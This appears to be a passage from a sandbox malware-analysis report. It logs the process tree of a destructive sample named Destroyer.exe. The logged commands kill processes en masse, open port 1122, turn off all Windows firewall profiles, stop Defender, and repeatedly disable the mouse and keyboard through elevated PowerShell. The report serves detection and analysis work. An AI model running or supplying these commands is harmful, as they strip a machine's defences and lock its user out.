- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "4792"
    3⤵
    - Kills process with taskkill
    PID:540
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "5792"
    3⤵
    PID:4352
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "5604"
    3⤵
    PID:4592
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "5960"
    3⤵
    - Kills process with taskkill
    PID:1452
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "896"
    3⤵
    - Kills process with taskkill
    PID:3164
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="Port 1122 TCP" dir=in action=allow protocol=TCP localport=1122
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:2228
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="Port 1122 UDP" dir=in action=allow protocol=UDP localport=1122
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:1740
- - C:\Windows\system32\netsh.exe
    netsh advfirewall set currentprofile firewallpolicy blockinbound,allowoutbound
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:5128
- - C:\Windows\system32\netsh.exe
    netsh advfirewall set currentprofile state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:1668
- - C:\Windows\system32\netsh.exe
    netsh advfirewall set domainprofile state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:4512
- - C:\Windows\system32\netsh.exe
    netsh advfirewall set privateprofile state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:3576
- - C:\Windows\system32\netsh.exe
    netsh advfirewall set publicprofile state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:4416
- - C:\Windows\system32\netsh.exe
    netsh advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:1160
- - C:\Windows\system32\net.exe
    net stop "Windows Defender Service"
    3⤵
    PID:224
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "Windows Defender Service"
      4⤵
      PID:3024
- - C:\Windows\system32\net.exe
    net stop "Windows Firewall"
    3⤵
    PID:1916
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "Windows Firewall"
      4⤵
      PID:2644
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    PowerShell.exe -Command "Get-PnpDevice -Class 'Mouse' | Disable-PnpDevice -Confirm:$false"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1152
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    PowerShell.exe -Command "Get-PnpDevice -Class 'Keyboard' | Disable-PnpDevice -Confirm:$false"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4164
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    PowerShell.exe -Command "Start-Process PowerShell.exe -ArgumentList '-File', '.scripts\make_file.ps1' -Verb RunAs"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    PID:5740
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -File .scripts\make_file.ps1
      4⤵
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      Suspicious behavior: EnumeratesProcesses
      PID:5152
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Start-Process "C:\Users\Admin\AppData\Local\Temp\Destroyer.exe" -Verb RunAs -ArgumentList "am_admin"
    3⤵
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    PID:5032
  - - C:\Users\Admin\AppData\Local\Temp\Destroyer.exe
      "C:\Users\Admin\AppData\Local\Temp\Destroyer.exe" am_admin
      4⤵
      System Location Discovery: System Language Discovery
      PID:3964
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\8C5.tmp\8C6.bat C:\Users\Admin\AppData\Local\Temp\Destroyer.exe am_admin"
        5⤵
        
        PID:2476
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c tasklist | findstr /r /b ".*.exe"
        6⤵
        
        PID:4564
        
        C:\Windows\system32\tasklist.exe
        
        tasklist
        7⤵
        Enumerates processes with tasklist
        
        PID:5508
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /b ".*.exe"
        7⤵
        
        PID:2800
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "376"
        6⤵
        
        PID:4200
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "480"
        6⤵
        
        PID:4460
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "548"
        6⤵
        Kills process with taskkill
        
        PID:5452
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "560"
        6⤵
        
        PID:5340
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "640"
        6⤵
        Kills process with taskkill
        
        PID:4404
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "676"
        6⤵
        
        PID:4644
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "800"
        6⤵
        
        PID:5412
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "808"
        6⤵
        
        PID:4080
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "824"
        6⤵
        Kills process with taskkill
        
        PID:448
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "908"
        6⤵
        
        PID:5192
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "992"
        6⤵
        
        PID:2888
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "424"
        6⤵
        
        PID:3644
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "684"
        6⤵
        
        PID:2480
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "544"
        6⤵
        Kills process with taskkill
        
        PID:5976
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "1028"
        6⤵
        
        PID:3748
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "1128"
        6⤵
        
        PID:2148
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "1176"
        6⤵
        
        PID:4380
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "1220"
        6⤵
        Kills process with taskkill
        
        PID:3936
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "1228"
        6⤵
        
        PID:3940
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "1244"
        6⤵
        Kills process with taskkill
        
        PID:2576
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "1268"
        6⤵
        
        PID:4756
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "1324"
        6⤵
        
        PID:1064
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "1384"
        6⤵
        Kills process with taskkill
        
        PID:4744
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "1500"
        6⤵
        
        PID:4484
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "1568"
        6⤵
        
        PID:2472
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "1720"
        6⤵
        
        PID:2176
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "1788"
        6⤵
        Kills process with taskkill
        
        PID:5820
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "1832"
        6⤵
        
        PID:2460
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "1840"
        6⤵
        
        PID:988
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "1944"
        6⤵
        
        PID:4004
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "1964"
        6⤵
        
        PID:2808
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "1996"
        6⤵
        Kills process with taskkill
        
        PID:5940
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "1652"
        6⤵
        Kills process with taskkill
        
        PID:1616
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "2072"
        6⤵
        
        PID:2528
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "2084"
        6⤵
        
        PID:4748
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "2156"
        6⤵
        Kills process with taskkill
        
        PID:4580
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "2208"
        6⤵
        
        PID:1648
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "2276"
        6⤵
        
        PID:5440
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "2344"
        6⤵
        Kills process with taskkill
        
        PID:3060
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "2396"
        6⤵
        
        PID:2896
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "2516"
        6⤵
        
        PID:1312
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "2536"
        6⤵
        Kills process with taskkill
        
        PID:2432
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "2548"
        6⤵
        
        PID:2224
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "2600"
        6⤵
        Kills process with taskkill
        
        PID:2596
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "2612"
        6⤵
        
        PID:5532
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "2676"
        6⤵
        Kills process with taskkill
        
        PID:2428
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "2696"
        6⤵
        Kills process with taskkill
        
        PID:5744
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "2720"
        6⤵
        
        PID:3124
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "3064"
        6⤵
        Kills process with taskkill
        
        PID:1924
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "2440"
        6⤵
        
        PID:1036
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "2840"
        6⤵
        Kills process with taskkill
        
        PID:5444
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "2660"
        6⤵
        Kills process with taskkill
        
        PID:5128
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "3196"
        6⤵
        
        PID:2244
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "3320"
        6⤵
        Kills process with taskkill
        
        PID:5588
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "3376"
        6⤵
        
        PID:1752
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "3596"
        6⤵
        Kills process with taskkill
        
        PID:4076
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "3700"
        6⤵
        
        PID:4600
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "3780"
        6⤵
        
        PID:3192
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "3808"
        6⤵
        
        PID:2140
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "3872"
        6⤵
        Kills process with taskkill
        
        PID:3576
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "4176"
        6⤵
        
        PID:2764
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "4256"
        6⤵
        Kills process with taskkill
        
        PID:2708
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "5828"
        6⤵
        Kills process with taskkill
        
        PID:5424
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "5184"
        6⤵
        
        PID:4168
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "648"
        6⤵
        Kills process with taskkill
        
        PID:4416
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "5644"
        6⤵
        
        PID:344
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "5944"
        6⤵
        
        PID:1360
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "3340"
        6⤵
        
        PID:2016
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "3140"
        6⤵
        Kills process with taskkill
        
        PID:244
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "3264"
        6⤵
        Kills process with taskkill
        
        PID:2644
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "1280"
        6⤵
        Kills process with taskkill
        
        PID:3024
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "896"
        6⤵
        Kills process with taskkill
        
        PID:2120
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "1848"
        6⤵
        
        PID:1624
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "1200"
        6⤵
        Kills process with taskkill
        
        PID:3460
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "1056"
        6⤵
        
        PID:2672
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "3964"
        6⤵
        
        PID:892
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "5096"
        6⤵
        Kills process with taskkill
        
        PID:1292
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "2476"
        6⤵
        
        PID:5592
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "4564"
        6⤵
        
        PID:1444
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "5508"
        6⤵
        
        PID:3480
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "2800"
        6⤵
        
        PID:4100
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="Port 1122 TCP" dir=in action=allow protocol=TCP localport=1122
        6⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:3892
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="Port 1122 UDP" dir=in action=allow protocol=UDP localport=1122
        6⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:3772
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall set currentprofile firewallpolicy blockinbound,allowoutbound
        6⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:4576
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall set currentprofile state off
        6⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:3336
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall set domainprofile state off
        6⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:5408
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall set privateprofile state off
        6⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:5088
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall set publicprofile state off
        6⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:2340
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall set allprofiles state off
        6⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:4980
      - C:\Windows\system32\net.exe
        
        net stop "Windows Defender Service"
        6⤵
        
        PID:3948
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop "Windows Defender Service"
        7⤵
        
        PID:5300
      - C:\Windows\system32\net.exe
        
        net stop "Windows Firewall"
        6⤵
        
        PID:5308
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop "Windows Firewall"
        7⤵
        
        PID:2456
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Mouse' | Disable-PnpDevice -Confirm:$false"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5600
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Keyboard' | Disable-PnpDevice -Confirm:$false"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:2056
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Start-Process PowerShell.exe -ArgumentList '-File', '.scripts\make_file.ps1' -Verb RunAs"
        6⤵
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:5292
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -File .scripts\make_file.ps1
        7⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:4404
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Mouse' | Disable-PnpDevice -Confirm:$false"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:2824
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Keyboard' | Disable-PnpDevice -Confirm:$false"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:2992
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Start-Process PowerShell.exe -ArgumentList '-File', '.scripts\make_file.ps1' -Verb RunAs"
        6⤵
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:2756
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -File .scripts\make_file.ps1
        7⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:1456
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Mouse' | Disable-PnpDevice -Confirm:$false"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:5836
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Keyboard' | Disable-PnpDevice -Confirm:$false"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:5060
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Start-Process PowerShell.exe -ArgumentList '-File', '.scripts\make_file.ps1' -Verb RunAs"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:5988
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -File .scripts\make_file.ps1
        7⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:5352
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Mouse' | Disable-PnpDevice -Confirm:$false"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:5924
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Keyboard' | Disable-PnpDevice -Confirm:$false"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:3108
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Start-Process PowerShell.exe -ArgumentList '-File', '.scripts\make_file.ps1' -Verb RunAs"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:5356
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -File .scripts\make_file.ps1
        7⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:2596
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Mouse' | Disable-PnpDevice -Confirm:$false"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:1896
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Keyboard' | Disable-PnpDevice -Confirm:$false"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:1300
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Start-Process PowerShell.exe -ArgumentList '-File', '.scripts\make_file.ps1' -Verb RunAs"
        6⤵
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:3360
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -File .scripts\make_file.ps1
        7⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:1748
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Mouse' | Disable-PnpDevice -Confirm:$false"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:4672
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Keyboard' | Disable-PnpDevice -Confirm:$false"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:5380
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Start-Process PowerShell.exe -ArgumentList '-File', '.scripts\make_file.ps1' -Verb RunAs"
        6⤵
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:5192
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -File .scripts\make_file.ps1
        7⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:3248
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Mouse' | Disable-PnpDevice -Confirm:$false"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:4656
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Keyboard' | Disable-PnpDevice -Confirm:$false"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:5656
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Start-Process PowerShell.exe -ArgumentList '-File', '.scripts\make_file.ps1' -Verb RunAs"
        6⤵
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:4640
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -File .scripts\make_file.ps1
        7⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:4592
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Mouse' | Disable-PnpDevice -Confirm:$false"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:3216
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Keyboard' | Disable-PnpDevice -Confirm:$false"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:4100
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Start-Process PowerShell.exe -ArgumentList '-File', '.scripts\make_file.ps1' -Verb RunAs"
        6⤵
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:2932
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -File .scripts\make_file.ps1
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3388
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Mouse' | Disable-PnpDevice -Confirm:$false"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4688
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Keyboard' | Disable-PnpDevice -Confirm:$false"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5984
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Start-Process PowerShell.exe -ArgumentList '-File', '.scripts\make_file.ps1' -Verb RunAs"
        6⤵
        
        PID:3164
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -File .scripts\make_file.ps1
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4380
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Mouse' | Disable-PnpDevice -Confirm:$false"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4064
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Keyboard' | Disable-PnpDevice -Confirm:$false"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:892
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Start-Process PowerShell.exe -ArgumentList '-File', '.scripts\make_file.ps1' -Verb RunAs"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1300
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -File .scripts\make_file.ps1
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5468
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Mouse' | Disable-PnpDevice -Confirm:$false"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1072
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Keyboard' | Disable-PnpDevice -Confirm:$false"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1044
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Start-Process PowerShell.exe -ArgumentList '-File', '.scripts\make_file.ps1' -Verb RunAs"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4964
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -File .scripts\make_file.ps1
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1068
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Mouse' | Disable-PnpDevice -Confirm:$false"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4752
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Keyboard' | Disable-PnpDevice -Confirm:$false"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3608
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Start-Process PowerShell.exe -ArgumentList '-File', '.scripts\make_file.ps1' -Verb RunAs"
        6⤵
        
        PID:1256
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -File .scripts\make_file.ps1
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5228
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Mouse' | Disable-PnpDevice -Confirm:$false"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1584
